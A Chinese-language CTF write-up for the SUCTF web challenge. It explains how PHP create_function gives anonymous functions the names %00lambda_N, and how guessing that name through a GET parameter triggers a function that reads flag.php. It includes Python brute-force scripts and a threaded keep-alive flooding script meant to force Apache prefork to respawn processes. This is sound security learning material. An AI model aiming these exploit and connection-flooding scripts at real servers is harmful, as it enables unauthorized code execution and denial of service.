0x00
前言 考试周摸鱼还是快乐了,做web是真的快乐。转回这道题目,挺有意思的一道题目,记录一下吧。
0x01
源码1 2 3 4 5 6 7 8 9 10 11 12 13 <?php $MY = create_function("" ,"die(`cat flag.php`);" ); $hash = bin2hex(openssl_random_pseudo_bytes(32 )); eval ("function SUCTF_$hash(){" ."global \$MY;" ."\$MY();" ."}" ); if (isset ($_GET['func_name' ])){ $_GET["func_name" ](); die (); } show_source(__FILE__ );
简单审计源码就可以知道,这题目定义了一个函数$MY
可以直接读取flag
。还使用openssl
生成了一个随机数。并使用eval
定义了另一个调用$MY
读取flag
的文件。那么这里就有了几个疑点:
1 2 3 4 1.为什么不直接创建函数,而是要使用 create_function ? 2.看 php 的文档发现 openssl_random_pseudo_bytes 产生的是伪随机数,那么是不是可以直接求出值? 3.这个函数为什么要使用 eval ?是不是可以代码注入? 4.这个 global 有什么必要吗?
0x02
分析 这里选择逐条分析。
1.为什么使用 create_funcion 函数?
大概是因为不使用 create_function 函数就有可能无法生成$MY
了,所以这个应该不算疑点。
PS: 后面我就会后悔没有注意到为什么要生成 $MY
,直接写不香吗?
2.是否可以获取伪随机数的值?
不可以,本地的多次测试发现这个伪随机数的值无法确定,因为原题中它的种子长度没有写出来。
3.代码注入是否有可能?
不可能。即使这些代码是在eval
中,我们也没有可以操控的部分,根本不可能存在代码注入的。
结合上面的种种结果看来,只有可能是global
这个东西有猫腻了。那么就本地测试输出$GLOBALS
试一下。发现了一个奇怪的东西。
突然发现$MY
居然有值,那么我应该可以使用lambda_1
这个名字来直接当函数名不就好了吗?结果试了一下发现完全不行,后来发现这个lambda_1
居然会自增,但是无论怎么输入我都无法成功使用,最后实在做不出来了,查看了wp
发现
1 create_function()这个函数的漏洞,他create之后会自动生成一个函数名为%00 lambda_%d
懂了,重新加上%00
之后尝试了一下。测试成功了。那么接下来的问题也就很简单嘞。我们可以直接使用脚本来爆破。
PS:这里是因为自己在测试之后发现最大值好像是100,也就是说到了100之后会回溯到一个比100小的数,这里没有测试这个数是不是1,理论上多试几次是可以出来的。这里运气也比较好,直接就出来了。
1 2 3 4 5 6 7 8 import requestsurl = 'http://d9e5cd2f-2bfc-415e-8d6f-cd9feece4759.node3.buuoj.cn/?func_name=%00lambda_{}' i = 100 while i>0 : i = i -1 ans = requests.get(url.format(i)) print(ans.text)
没想到我这个居然算非预期了,预期解是:
1 %d这个值是一直递增的,这里的%d会一直递增到最大长度直到结束,这里我们可以通过大量的请求来迫使Pre-fork模式启动的Apache启动新的线程,这样这里的%d会刷新为1,就可以预测了。
exp1:
1 2 3 4 import requestswhile True : r=requests.get('http://web.suctf.asuri.org:81/?func_name=%00lambda_1' ) print(r.text)
exp2:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import requestsimport socketimport timefrom multiprocessing.dummy import Pool as ThreadPooltry : requests.packages.urllib3.disable_warnings() except : pass def run (i) : while 1 : HOST = '28ae7c60-92ae-447c-a9c9-b50024d45b25.node3.buuoj.cn' PORT = 80 se = socket.socket(socket.AF_INET, socket.SOCK_STREAM) se.connect((HOST, PORT)) se.send("GET / HTTP/1.1\r\n" ) se.send("Host: 28ae7c60-92ae-447c-a9c9-b50024d45b25.node3.buuoj.cn\r\n" ) se.send("Connection: keep-alive\r\n\r\n" ) print 'ok' time.sleep(0.5 ) i = 8 pool = ThreadPool( i ) result = pool.map_async( run, range(i) ).get(0xffff )
0x03
参考https://www.jianshu.com/p/19e3ee990cb7